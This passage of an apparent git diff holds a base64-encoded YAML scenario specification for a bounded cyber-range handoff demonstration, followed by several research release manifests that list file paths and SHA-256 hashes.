2l0aW9uOiBoaWRkZW4KICAgICAgICB0b19kaXNwb3NpdGlvbjogZGlzY292ZXJlZAogICAgICAgIGV2aWRlbmNlX3JlZnM6IFtjb250ZW50LnBhcnRpY2lwYW50LW9ic2VydmF0aW9uXQogICAgICAgIGNlcnRhaW50eTogaGlnaAogICAgICAgIGxhdGVuY3lfcHJvZmlsZTogdGVybWluYWwgb2JzZXJ2YXRpb24gbGF0ZW5jeQoKb3V0Y29tZV9pbnRlcnByZXRhdGlvbl9ydWxlczoKICBwcm9iZS1jdXN0b21lci1wb3J0YWwtbG9naW4tb3V0Y29tZToKICAgIHNlbWFudGljX3ZlcnNpb246IDEuMC4wCiAgICBwYXJ0aWNpcGFudF9zY29wZTogcGFydGljaXBhbnRfbG9jYWwKICAgIG9ic2VydmF0aW9uX3BvaW50X2Jhc2lzOiBwcm9iZS1jdXN0b21lci1wb3J0YWwtbG9naW4gdGVybWluYWwgb2JzZXJ2YXRpb24KICAgIGludGVycHJldGF0aW9uX2Jhc2lzOiA+CiAgICAgIEEgcGFydGljaXBhbnQtbG9jYWwgdGVybWluYWwgb2JzZXJ2YXRpb24gc3VwcG9ydHMgdGhlIHNjZW5hcmlvIG9iamVjdGl2ZSBvbmx5CiAgICAgIHdoZW4gcGFpcmVkIHdpdGggcmV0YWluZWQgcGFydGljaXBhbnQgZXZpZGVuY2UsIFdhenVoIGV2YWx1YXRvciBldmlkZW5jZSwKICAgICAgcG9saWN5IHByb3ZlbmFuY2UsIG5lZ2F0aXZlIGJvdW5kYXJ5IGV2aWRlbmNlLCBhbmQgZXZhbHVhdGlvbiBzdWNjZXNzLgogICAgc291cmNlX2JpbmRpbmdzOgogICAgICAtIHNvdXJjZV9pZDogYWN0aW9uLW91dGNvbWUKICAgICAgICBzb3VyY2VfbGF5ZXI6IHBhcnRpY2lwYW50X2FjdGlvbl9vdXRjb21lCiAgICAgICAgcmVmOiBwcm9iZS1jdXN0b21lci1wb3J0YWwtbG9naW4KICAgICAgICBpbnRlcnByZXRhdGlvbl9yb2xlOiBsb2NhbCBhY3Rpb24gcmVzdWx0CiAgICAgICAgZXZpZGVuY2VfcmVmczogW2NvbnRlbnQucGFydGljaXBhbnQtb2JzZXJ2YXRpb25dCiAgICAgIC0gc291cmNlX2lkOiB3YXp1aC1ldmlkZW5jZQogICAgICAgIHNvdXJjZV9sYXllcjogZXZpZGVuY2VfY2xhaW0KICAgICAgICByZWY6IGNvbnRlbnQud2F6dWgtZXZpZGVuY2UKICAgICAgICBpbnRlcnByZXRhdGlvbl9yb2xlOiBkZWZlbnNpdmUgZXZhbHVhdG9yIGV2aWRlbmNlCiAgICAgICAgZXZpZGVuY2VfcmVmczogW2NvbnRlbnQud2F6dWgtZXZpZGVuY2VdCiAgICAgIC0gc291cmNlX2lkOiBwb2xpY3ktcHJvdmVuYW5jZQogICAgICAgIHNvdXJjZV9sYXllcjogZXZpZGVuY2VfY2xhaW0KICAgICAgICByZWY6IGNvbnRlbnQucG9saWN5LWRlY2lzaW9uLWxvZwogICAgICAgIGludGVycHJldGF0aW9uX3JvbGU6IG1vZGVsLWRlZmVuc2Ugb3IgdG9vbC11c2UgYXV0aG9yaXphdGlvbiBwcm92ZW5hbmNlCiAgICAgICAgZXZpZGVuY2VfcmVmczogW2NvbnRlbnQucG9saWN5LWRlY2lzaW9uLWxvZ10KICAgICAgLSBzb3VyY2VfaWQ6IGJvdW5kYXJ5LWV2aWRlbmNlCiAgICAgICAgc291cmNlX2xheWVyOiBldmlkZW5jZV9jbGFpbQogICAgICAgIHJlZjogY29udGVudC5ib3VuZGFyeS1jaGVjay1ldmlkZW5jZQogICAgICAgIGludGVycHJldGF0aW9uX3JvbGU6IHBoeXNpY2FsIHBhcnRpY2lwYW50LWJvdW5kYXJ5IGV2aWRlbmNlCiAgICAgICAgZXZpZGVuY2VfcmVmczogW2NvbnRlbnQuYm91bmRhcnktY2hlY2stZXZpZGVuY2VdCiAgICAgIC0gc291cmNlX2lkOiBvYmplY3RpdmUtcmVzdWx0CiAgICAgICAgc291cmNlX2xheWVyOiBvYmplY3RpdmVfcmVzdWx0CiAgICAgICAgcmVmOiBkZW1vbnN0cmF0ZS1oYW5kb2ZmCiAgICAgICAgaW50ZXJwcmV0YXRpb25fcm9sZTogc2NlbmFyaW8gb2JqZWN0aXZlIHJlc3VsdAogICAgICAgIGV2aWRlbmNlX3JlZnM6CiAgICAgICAgICAtIGNvbnRlbnQucGFydGljaXBhbnQtb2JzZXJ2YXRpb24KICAgICAgICAgIC0gY29udGVudC53YXp1aC1ldmlkZW5jZQogICAgICAgICAgLSBjb250ZW50LnBvbGljeS1kZWNpc2lvbi1sb2cKICAgICAgICAgIC0gY29udGVudC5ib3VuZGFyeS1jaGVjay1ldmlkZW5jZQogICAgdGFyZ2V0X2JpbmRpbmdzOgogICAgICAtIHRhcmdldF9pZDogb2JqZWN0aXZlLXN1cHBvcnRlZAogICAgICAgIHRhcmdldF9sYXllcjogb2JqZWN0aXZlX3Jlc3VsdAogICAgICAgIHJlZjogZGVtb25zdHJhdGUtaGFuZG9mZgogICAgICAgIHJlbGF0aW9uOiBzdXBwb3J0cyBvYmplY3RpdmUgc3VjY2VzcyB3aGVuIGFsbCBib3VuZGVkIGV2aWRlbmNlIHJlY29yZHMgZXhpc3QKICAgICAgICBldmlkZW5jZV9yZWZzOgogICAgICAgICAgLSBjb250ZW50LnBhcnRpY2lwYW50LW9ic2VydmF0aW9uCiAgICAgICAgICAtIGNvbnRlbnQud2F6dWgtZXZpZGVuY2UKICAgICAgICAgIC0gY29udGVudC5wb2xpY3ktZGVjaXNpb24tbG9nCiAgICAgICAgICAtIGNvbnRlbnQuYm91bmRhcnktY2hlY2stZXZpZGVuY2UKICAgICAgICBsaW1pdGF0aW9uczoKICAgICAgICAgIC0gRG9lcyBub3QgcHJvdmUgYnJvYWQgYXV0b25vbW91cyBhZ2VudCBjYXBhYmlsaXR5LgogICAgICAgICAgLSBEb2VzIG5vdCBldmFsdWF0ZSBXYXp1aCBkZXRlY3Rpb24gcXVhbGl0eS4KICAgICAgICAgIC0gRG9lcyBub3QgZXZhbHVhdGUgbW9kZWwtZGVmZW5zZSByb2J1c3RuZXNzLgogICAgICAgICAgLSBEb2VzIG5vdCBjbG9zZSB0aGUgZG93bnN0cmVhbSBBUFRMIHJlYWxpemF0aW9uIGlzc3VlLgogICAgICAtIHRhcmdldF9pZDogc2NlbmFyaW8tbWVhbmluZy1zdXBwb3J0ZWQKICAgICAgICB0YXJnZXRfbGF5ZXI6IHNjZW5hcmlvX21lYW5pbmcKICAgICAgICByZWY6IHJlZmVyZW5jZS1kZW1vbnN0cmF0aW9uCiAgICAgICAgcmVsYXRpb246ID4KICAgICAgICAgIFNob3dzIHRoYXQgUkFFUyBjYW4gcmVwcmVzZW50IHBhcnRpY2lwYW50LCB0YXJnZXQsIGludGVybmFsCiAgICAgICAgICBkZXBlbmRlbmN5LCBPU1MgZGVmZW5kZXIgZXZpZGVuY2UsIHBvbGljeSBwcm92ZW5hbmNlLCBldmFsdWF0b3IKICAgICAgICAgIGV2aWRlbmNlLCBhbmQgb2JzZXJ2YXRpb24gYm91bmRhcmllcyBpbiBvbmUgZm9jdXNlZCBlbnRlcnByaXNlIHNsaWNlLgogICAgICAgIGV2aWRlbmNlX3JlZnM6CiAgICAgICAgICAtIGNvbnRlbnQucGFydGljaXBhbnQtb2JzZXJ2YXRpb24KICAgICAgICAgIC0gY29udGVudC53YXp1aC1ldmlkZW5jZQogICAgICAgICAgLSBjb250ZW50LnBvbGljeS1kZWNpc2lvbi1sb2cKICAgICAgICAgIC0gY29udGVudC5ib3VuZGFyeS1jaGVjay1ldmlkZW5jZQogICAgICAgIGxpbWl0YXRpb25zOgogICAgICAgICAgLSBUaGUgZGVmZW5zaXZlIGFuZCBtb2RlbC1kZWZlbnNlIHN1cmZhY2VzIGFyZSB0ZWFzZXJzIGZvciBsYXRlciB3b3JrLgogICAgICAgICAgLSBUaGUgY2xhaW0gcmVtYWlucyB0aGUgYXV0aG9yZWQgcnVudGltZSBoYW5kb2ZmLgogICAgZXZpZGVuY2VfcmVmczoKICAgICAgLSBjb250ZW50LnBhcnRpY2lwYW50LW9ic2VydmF0aW9uCiAgICAgIC0gY29udGVudC53YXp1aC1ldmlkZW5jZQogICAgICAtIGNvbnRlbnQucG9saWN5LWRlY2lzaW9uLWxvZwogICAgICAtIGNvbnRlbnQuYm91bmRhcnktY2hlY2stZXZpZGVuY2UKICAgIGxpbWl0YXRpb25zOgogICAgICAtIExvY2FsIGFjdGlvbiBzdWNjZXNzIGlzIG5vdCBlcXVpdmFsZW50IHRvIGJyb2FkIGJlbmNobWFyayBzdWNjZXNzLgogICAgICAtIFdhenVoIGV2aWRlbmNlIGV4aXN0ZW5jZSBpcyBub3QgZXF1aXZhbGVudCB0byBkZWZlbnNpdmUgZWZmZWN0aXZlbmVzcy4KICAgICAgLSBQb2xpY3kgcHJvdmVuYW5jZSBpcyBub3QgZXF1aXZhbGVudCB0byBndWFyZHJhaWwgcm9idXN0bmVzcy4KICAgICAgLSBSdW50aW1lIGltcGxlbWVudGF0aW9uIGlkZW50aXR5IGlzIGNhcnJpZWQgYnkgZG93bnN0cmVhbSBwcm92ZW5hbmNlLCBub3QgU0RMLgoKYWdlbnRzOgogIHBhcnRpY2lwYW50LWFnZW50OgogICAgYWZmaWxpYXRpb25zOiBbZW50ZXJwcmlzZS1wYXJ0aWNpcGFudF0KICAgIGRlc2NyaXB0aW9uOiA+CiAgICAgIEF1dGhvcmVkIHBhcnRpY2lwYW50IHdob3NlIGNvbmNyZXRlIGNvZGluZy1hZ2VudCBydW5uZXIgaXMgc2VsZWN0ZWQgYnkKICAgICAgZG93bnN0cmVhbSBwYXJ0aWNpcGFudCBpbXBsZW1lbnRhdGlvbiBwcm92ZW5hbmNlLgogICAgYWN0aW9uczogW3Byb2JlLWN1c3RvbWVyLXBvcnRhbC1sb2dpbl0KICAgIGluaXRpYWxfa25vd2xlZGdlOgogICAgICBob3N0czogW3JlZC13b3JrYmVuY2hdCiAgICAgIHN1Ym5ldHM6IFtyZWR0ZWFtLW5ldCwgZG16LW5ldF0KICAgICAgc2VydmljZXM6IFtzc2hdCiAgICBhbGxvd2VkX3N1Ym5ldHM6IFtkbXotbmV0XQogICAgYXV0aG9yaXR5X2FuY2hvcnM6CiAgICAgIC0gZW50ZXJwcmlzZS1wYXJ0aWNpcGFudAogICAgICAtIHRhc2stYnJpZWYKICAgIG9wZXJhdGluZ19zY29wZToKICAgICAgLSBub2Rlcy5jdXN0b21lci1wb3J0YWwuc2VydmljZXMuaHR0cAogICAgICAtIGNvbnRlbnQudGFzay1icmllZgogICAgb2JzZXJ2YXRpb25fYm91bmRhcmllczogW3BhcnRpY2lwYW50LXZpZXddCgpiZWhhdmlvcl9zcGVjaWZpY2F0aW9uczoKICBwYXJ0aWNpcGFudC1iZWhhdmlvcjoKICAgIHNlbWFudGljX3ZlcnNpb246IDEuMC4wCiAgICBsaWZlY3ljbGVfc3RhdGU6IGFjdGl2ZQogICAgcGFydGljaXBhbnRfcmVmczogW3BhcnRpY2lwYW50LWFnZW50XQogICAgcGFydGljaXBhbnRfcm9sZV9yZWZzOiBbcmVkXQogICAgYWN0aW9uX2NvbnRyYWN0X3JlZnM6IFtwcm9iZS1jdXN0b21lci1wb3J0YWwtbG9naW5dCiAgICBvYnNlcnZhdGlvbl9ib3VuZGFyeV9yZWZzOiBbcGFydGljaXBhbnQtdmlld10KICAgIG91dGNvbWVfaW50ZXJwcmV0YXRpb25fcnVsZV9yZWZzOiBbcHJvYmUtY3VzdG9tZXItcG9ydGFsLWxvZ2luLW91dGNvbWVdCiAgICBhdXRob3JpdHlfc2NvcGVfcmVmczoKICAgICAgLSBub2Rlcy5jdXN0b21lci1wb3J0YWwuc2VydmljZXMuaHR0cAogICAgICAtIGNvbnRlbnQudGFzay1icmllZgogICAgYmVoYXZpb3JfbW9kZTogcG9saWN5LWRpcmVjdGVkCiAgICByZWFsaXphdGlvbl9wcm9maWxlX3JlZjogcGFydGljaXBhbnQtaW1wbGVtZW50YXRpb24tbWFuaWZlc3Q6cGFydGljaXBhbnQtYWdlbnQKICAgIGJhY2tlbmRfZmVhdHVyZV9zdXBwb3J0X3JlZnM6CiAgICAgIC0gYWN0aW9uX2NvbnRyYWN0cwogICAgICAtIG9ic2VydmF0aW9uX2JvdW5kYXJpZXMKICAgICAgLSBiZWhhdmlvcl9oaXN0b3J5CiAgICAgIC0geC1zY2VuYXJpbzp3YXp1aC1ldmlkZW5jZQogICAgICAtIHgtc2NlbmFyaW86cG9saWN5LXByb3ZlbmFuY2UKICAgICAgLSB4LXNjZW5hcmlvOmJvdW5kYXJ5LW5lZ2F0aXZlLWV2aWRlbmNlCiAgICBldmlkZW5jZV9jb250cmFjdF9yZWZzOiBbcGFydGljaXBhbnQtYmVoYXZpb3ItaGlzdG9yeS1ldmVudC1zdHJlYW0tdjFdCiAgICBleHRlbnNpb25fcG9saWN5OiBnb3Zlcm5lZC1leHRlbnNpb24KCnByb3Bvc2l0aW9uczoKICBib3VuZGFyeS1jaGVja3MtcmVjb3JkZWQ6CiAgICBkZXNjcmlwdGlvbjogVGhlIGdvdmVybmVkIGJvdW5kYXJ5LWNoZWNrcy1yZWNvcmRlZCBvYnNlcnZhdGlvbiBpcyB0cnVlIGZvciB0aGUgYWRkcmVzc2VkIHNjZW5hcmlvIHN1YmplY3QuCiAgICBzdWJqZWN0czoKICAgIC0gbm9kZXMucmVkdGVhbS1uZXQKICAgIGJhc2lzOiBvYnNlcnZlZF9zdGF0ZQogICAgcHJlZGljYXRlOgogICAgICBraW5kOiBib29sZWFuCiAgICAgIHByb3BlcnR5OiBib3VuZGFyeS1jaGVja3MtcmVjb3JkZWQKICAgICAgc2VtYW50aWNfcmVmOiB1cm46cmFlczpvYnNlcnZhYmxlOmJvdW5kYXJ5LWNoZWNrcy1yZWNvcmRlZAogICAgICBvcGVyYXRvcjogZXF1YWxzCiAgICAgIGV4cGVjdGVkOiB0cnVlCiAgICBxdWFudGlmaWVyOiBhbGwKICAgIGV2aWRlbmNlX3JlcXVpcmVtZW50czoKICAgIC0gb2JqZWN0aXZlLXRydXRoLWV2aWRlbmNlCiAgcGFydGljaXBhbnQtb2JzZXJ2YXRpb24tcmVjb3JkZWQ6CiAgICBkZXNjcmlwdGlvbjogVGhlIGdvdmVybmVkIHBhcnRpY2lwYW50LW9ic2VydmF0aW9uLXJlY29yZGVkIG9ic2VydmF0aW9uIGlzIHRydWUgZm9yIHRoZSBhZGRyZXNzZWQgc2NlbmFyaW8gc3ViamVjdC4KICAgIHN1YmplY3RzOgogICAgLSBub2Rlcy5yZWR0ZWFtLW5ldAogICAgYmFzaXM6IG9ic2VydmVkX3N0YXRlCiAgICBwcmVkaWNhdGU6CiAgICAgIGtpbmQ6IGJvb2xlYW4KICAgICAgcHJvcGVydHk6IHBhcnRpY2lwYW50LW9ic2VydmF0aW9uLXJlY29yZGVkCiAgICAgIHNlbWFudGljX3JlZjogdXJuOnJhZXM6b2JzZXJ2YWJsZTpwYXJ0aWNpcGFudC1vYnNlcnZhdGlvbi1yZWNvcmRlZAogICAgICBvcGVyYXRvcjogZXF1YWxzCiAgICAgIGV4cGVjdGVkOiB0cnVlCiAgICBxdWFudGlmaWVyOiBhbGwKICAgIGV2aWRlbmNlX3JlcXVpcmVtZW50czoKICAgIC0gb2JqZWN0aXZlLXRydXRoLWV2aWRlbmNlCiAgcG9saWN5LWRlY2lzaW9uLXJlY29yZGVkOgogICAgZGVzY3JpcHRpb246IFRoZSBnb3Zlcm5lZCBwb2xpY3ktZGVjaXNpb24tcmVjb3JkZWQgb2JzZXJ2YXRpb24gaXMgdHJ1ZSBmb3IgdGhlIGFkZHJlc3NlZCBzY2VuYXJpbyBzdWJqZWN0LgogICAgc3ViamVjdHM6CiAgICAtIG5vZGVzLnJlZHRlYW0tbmV0CiAgICBiYXNpczogb2JzZXJ2ZWRfc3RhdGUKICAgIHByZWRpY2F0ZToKICAgICAga2luZDogYm9vbGVhbgogICAgICBwcm9wZXJ0eTogcG9saWN5LWRlY2lzaW9uLXJlY29yZGVkCiAgICAgIHNlbWFudGljX3JlZjogdXJuOnJhZXM6b2JzZXJ2YWJsZTpwb2xpY3ktZGVjaXNpb24tcmVjb3JkZWQKICAgICAgb3BlcmF0b3I6IGVxdWFscwogICAgICBleHBlY3RlZDogdHJ1ZQogICAgcXVhbnRpZmllcjogYWxsCiAgICBldmlkZW5jZV9yZXF1aXJlbWVudHM6CiAgICAtIG9iamVjdGl2ZS10cnV0aC1ldmlkZW5jZQogIHdhenVoLWV2aWRlbmNlLXJlY29yZGVkOgogICAgZGVzY3JpcHRpb246IFRoZSBnb3Zlcm5lZCB3YXp1aC1ldmlkZW5jZS1yZWNvcmRlZCBvYnNlcnZhdGlvbiBpcyB0cnVlIGZvciB0aGUgYWRkcmVzc2VkIHNjZW5hcmlvIHN1YmplY3QuCiAgICBzdWJqZWN0czoKICAgIC0gbm9kZXMucmVkdGVhbS1uZXQKICAgIGJhc2lzOiBvYnNlcnZlZF9zdGF0ZQogICAgcHJlZGljYXRlOgogICAgICBraW5kOiBib29sZWFuCiAgICAgIHByb3BlcnR5OiB3YXp1aC1ldmlkZW5jZS1yZWNvcmRlZAogICAgICBzZW1hbnRpY19yZWY6IHVybjpyYWVzOm9ic2VydmFibGU6d2F6dWgtZXZpZGVuY2UtcmVjb3JkZWQKICAgICAgb3BlcmF0b3I6IGVxdWFscwogICAgICBleHBlY3RlZDogdHJ1ZQogICAgcXVhbnRpZmllcjogYWxsCiAgICBldmlkZW5jZV9yZXF1aXJlbWVudHM6CiAgICAtIG9iamVjdGl2ZS10cnV0aC1ldmlkZW5jZQphc3NlcnRpb25zOgogIGJvdW5kYXJ5LWNoZWNrcy1yZWNvcmRlZDoKICAgIHByb3Bvc2l0aW9uOiBib3VuZGFyeS1jaGVja3MtcmVjb3JkZWQKICAgIHJvbGU6IHBvc3Rjb25kaXRpb24KICAgIHBvbGFyaXR5OiBwb3NpdGl2ZQogIHBhcnRpY2lwYW50LW9ic2VydmF0aW9uLXJlY29yZGVkOgogICAgcHJvcG9zaXRpb246IHBhcnRpY2lwYW50LW9ic2VydmF0aW9uLXJlY29yZGVkCiAgICByb2xlOiBwb3N0Y29uZGl0aW9uCiAgICBwb2xhcml0eTogcG9zaXRpdmUKICBwb2xpY3ktZGVjaXNpb24tcmVjb3JkZWQ6CiAgICBwcm9wb3NpdGlvbjogcG9saWN5LWRlY2lzaW9uLXJlY29yZGVkCiAgICByb2xlOiBwb3N0Y29uZGl0aW9uCiAgICBwb2xhcml0eTogcG9zaXRpdmUKICB3YXp1aC1ldmlkZW5jZS1yZWNvcmRlZDoKICAgIHByb3Bvc2l0aW9uOiB3YXp1aC1ldmlkZW5jZS1yZWNvcmRlZAogICAgcm9sZTogcG9zdGNvbmRpdGlvbgogICAgcG9sYXJpdHk6IHBvc2l0aXZlCmV2aWRlbmNlX3JlcXVpcmVtZW50czoKICBvYmplY3RpdmUtdHJ1dGgtZXZpZGVuY2U6CiAgICBkZXNjcmlwdGlvbjogQ2FwdHVyZSBldmlkZW5jZSB1c2VkIHRvIGRlY2lkZSBhdXRob3JlZCBwcm9wb3NpdGlvbiBhc3NlcnRpb25zLgogICAgc291cmNlX3JlZnM6CiAgICAtIG5vZGVzLnJlZHRlYW0tbmV0CiAgICBzY29wZTogYXV0aG9yZWQgb2JqZWN0aXZlIGFzc2VydGlvbiBldmFsdWF0aW9uCiAgICBib3VuZGFyeV9raW5kOiBhc3NlcnRpb25fZXZhbHVhdGlvbgogICAgY2hhbm5lbDogbG9nCiAgICBhcnRpZmFjdF9yb2xlOiBwcm9wb3NpdGlvbl90cnV0aF9ldmlkZW5jZQogICAgbWVkaWFfdHlwZXM6IFthcHBsaWNhdGlvbi9qc29uXQogICAgc2Vuc2l0aXZpdHk6IHBsYWluCiAgICByZWRhY3Rpb246IHJlZGFjdF9zZWNyZXRzCiAgICBpbnRlZ3JpdHk6IGNoZWNrc3VtCiAgICByZXRlbnRpb246IHN0dWR5X2xpZmV0aW1lCiAgICBsb3NzX2Rpc2Nsb3N1cmU6IHJlcXVpcmVkCm9iamVjdGl2ZXM6CiAgIyBHcmFkZWQgc2NvcmluZy9pbnRlcnByZXRhdGlvbiBvZiB0aGlzIGV2aWRlbmNlIGxvb3Agbm93IGxpdmVzIGluIHRoZQogICMgZXhwZXJpbWVudC9ldmFsdWF0b3IgcGxhbmUgKGV4cGVyaW1lbnQtKiBjb250cmFjdHMpIHBlciBBRFItMDczLiBUaGUgU0RMCiAgIyBvYmplY3RpdmUgYXNzZXJ0cyBvbmx5IG9ic2VydmFibGUgc3VjY2VzcyB2aWEgY29uZGl0aW9ucy4KICBkZW1vbnN0cmF0ZS1oYW5kb2ZmOgogICAgYXNzaWduZWRfcGFydGljaXBhbnQ6IHBhcnRpY2lwYW50LWFnZW50CiAgICBhY3Rpb25zOiBbcHJvYmUtY3VzdG9tZXItcG9ydGFsLWxvZ2luXQogICAgdGFyZ2V0czoKICAgICAgLSBub2Rlcy5jdXN0b21lci1wb3J0YWwuc2VydmljZXMuaHR0cAogICAgICAtIGNvbnRlbnQucGFydGljaXBhbnQtb2JzZXJ2YXRpb24KICAgICAgLSBjb250ZW50LndhenVoLWV2aWRlbmNlCiAgICAgIC0gY29udGVudC5wb2xpY3ktZGVjaXNpb24tbG9nCiAgICAgIC0gY29udGVudC5ib3VuZGFyeS1jaGVjay1ldmlkZW5jZQogICAgc3VjY2VzczoKICAgICAgYXNzZXJ0aW9uczoKICAgICAgICAtIHBhcnRpY2lwYW50LW9ic2VydmF0aW9uLXJlY29yZGVkCiAgICAgICAgLSB3YXp1aC1ldmlkZW5jZS1yZWNvcmRlZAogICAgICAgIC0gcG9saWN5LWRlY2lzaW9uLXJlY29yZGVkCiAgICAgICAgLSBib3VuZGFyeS1jaGVja3MtcmVjb3JkZWQKICAgIHdpbmRvdzoKICAgICAgd29ya2Zsb3dzOiBbcmVmZXJlbmNlLWhhbmRvZmZdCiAgICAgIHN0ZXBzOiBbcmVmZXJlbmNlLWhhbmRvZmYucHJvYmVdCiAgICBkZXNjcmlwdGlvbjogPgogICAgICBEZW1vbnN0cmF0ZSBhdXRob3JlZCBTREwgdG8gcHJvY2Vzc29yIHRvIHJ1bnRpbWUvYmFja2VuZCBoYW5kb2ZmIHdpdGggYQogICAgICBib3VuZGVkIHBhcnRpY2lwYW50LXZpc2libGUgcG9ydGFsIG9ic2VydmF0aW9uLCBXYXp1aCBldmFsdWF0b3IgZXZpZGVuY2UsCiAgICAgIHBvbGljeSBwcm92ZW5hbmNlLCBhbmQgbmVnYXRpdmUgb2JzZXJ2YXRpb24tYm91bmRhcnkgZXZpZGVuY2UuCgp3b3JrZmxvd3M6CiAgcmVmZXJlbmNlLWhhbmRvZmY6CiAgICBkZXNjcmlwdGlvbjogPgogICAgICBTaW5nbGUtc3RlcCBjb250cm9sIGdyYXBoIGZvciB0aGUgcmVmZXJlbmNlIHJlZmVyZW5jZSBoYW5kb2ZmIGRlbW9uc3RyYXRpb24uCiAgICBzdGFydDogcHJvYmUKICAgIHN0ZXBzOgogICAgICBwcm9iZToKICAgICAgICB0eXBlOiBvYmplY3RpdmUKICAgICAgICBvYmplY3RpdmU6IGRlbW9uc3RyYXRlLWhhbmRvZmYKICAgICAgICBvbl9zdWNjZXNzOiBmaW5pc2gKICAgICAgZmluaXNoOgogICAgICAgIHR5cGU6IGVuZAo=", + "recovered_from_revision": "f92f3a297408f54a409e0220136a2d1790786c23" +} diff --git a/docs/research/specification-coverage/historical-artifacts/issue-1005-pre-refinement-release-v21.json b/docs/research/specification-coverage/historical-artifacts/issue-1005-pre-refinement-release-v21.json new file mode 100644 index 000000000..1294eb752 --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/issue-1005-pre-refinement-release-v21.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v21.json", + "analysis_sha256": "94454d853106da6cc85ffd17b3c1d68f93f4c1b6a2780d1753ad17600d252b18", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "21.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v21.json", + "snapshot_sha256": "0fa7be1ec3c7ab6019d009057fdb08f3550066921ec6fd798f64687d335ad8f0" +} diff --git a/docs/research/specification-coverage/historical-artifacts/issue-1005-pre-sync-release-v20.json b/docs/research/specification-coverage/historical-artifacts/issue-1005-pre-sync-release-v20.json new file mode 100644 index 000000000..f9d59883f --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/issue-1005-pre-sync-release-v20.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v20.json", + "analysis_sha256": "aebd5c9a85437507f402b02e043bcd31d667cd8a8ff004efd7acdb9fac6625b2", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "20.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v20.json", + "snapshot_sha256": "dacab4ae76e7140855c96e3f9e251113732ffc495c2f92fcd7ba31320f10bc6f" +} diff --git a/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-materialization-sync-release-v17.json b/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-materialization-sync-release-v17.json new file mode 100644 index 000000000..17874b208 --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-materialization-sync-release-v17.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v17.json", + "analysis_sha256": "91cf95e3ee08a1675d69e9b6eb1b6e86b7ed8cf1f8e32229cce8207349772ff6", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "17.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v17.json", + "snapshot_sha256": "9cc55dd401e349f439ce8a4de29ea4b85b011611d277e8ee734c59399b7d03e7" +} diff --git a/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-provenance-sync-release-v16.json b/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-provenance-sync-release-v16.json new file mode 100644 index 000000000..7d626a141 --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-provenance-sync-release-v16.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v16.json", + "analysis_sha256": "e19cd2b72356bc9a8012cd56ce54d34e1ae5d96f32f1929094a36b61f49f2fac", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "16.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v16.json", + "snapshot_sha256": "c9abf7ea28b73a88fad8522470d141b9981a68a56963ae368b9dd652eab30206" +} diff --git a/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-sync-release-v15.json b/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-sync-release-v15.json new file mode 100644 index 000000000..f768956ad --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/issue-1237-pre-sync-release-v15.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v15.json", + "analysis_sha256": "91c02566b66ebd5108a006d5cbde3c0ade5db11f92bd4ad6fd8b9d06e7bd354a", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "15.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v15.json", + "snapshot_sha256": "1b5349505289483464a5df4d431e98e859751219dcd6c473d10eae207672fdad" +} diff --git a/docs/research/specification-coverage/historical-artifacts/issue-1242-pre-refinement-sync-release-v21.json b/docs/research/specification-coverage/historical-artifacts/issue-1242-pre-refinement-sync-release-v21.json new file mode 100644 index 000000000..f5ee9cdee --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/issue-1242-pre-refinement-sync-release-v21.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v21.json", + "analysis_sha256": "4492f11f2db6e4b3b58b20830dd6e3351b881b198c69d14f9758cc7275afe7d0", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "21.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v21.json", + "snapshot_sha256": "f3e9285c1ae8666ab3f6097cd3695c5a840706156213a4b206c0792280baf8a2" +} diff --git a/docs/research/specification-coverage/historical-artifacts/issue-1242-pre-sync-release-v20.json b/docs/research/specification-coverage/historical-artifacts/issue-1242-pre-sync-release-v20.json new file mode 100644 index 000000000..92433775a --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/issue-1242-pre-sync-release-v20.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v20.json", + 